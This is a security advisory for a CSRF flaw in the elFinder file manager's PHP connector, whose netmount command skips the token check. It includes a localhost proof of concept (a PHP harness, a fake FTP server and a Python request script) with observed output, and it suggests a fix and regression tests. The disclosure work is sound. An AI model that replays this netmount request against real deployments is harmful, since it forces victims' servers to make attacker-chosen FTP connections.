GHSA-9hjf-w35w-6vx2

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

1. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

1. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

1. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"[email protected]","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)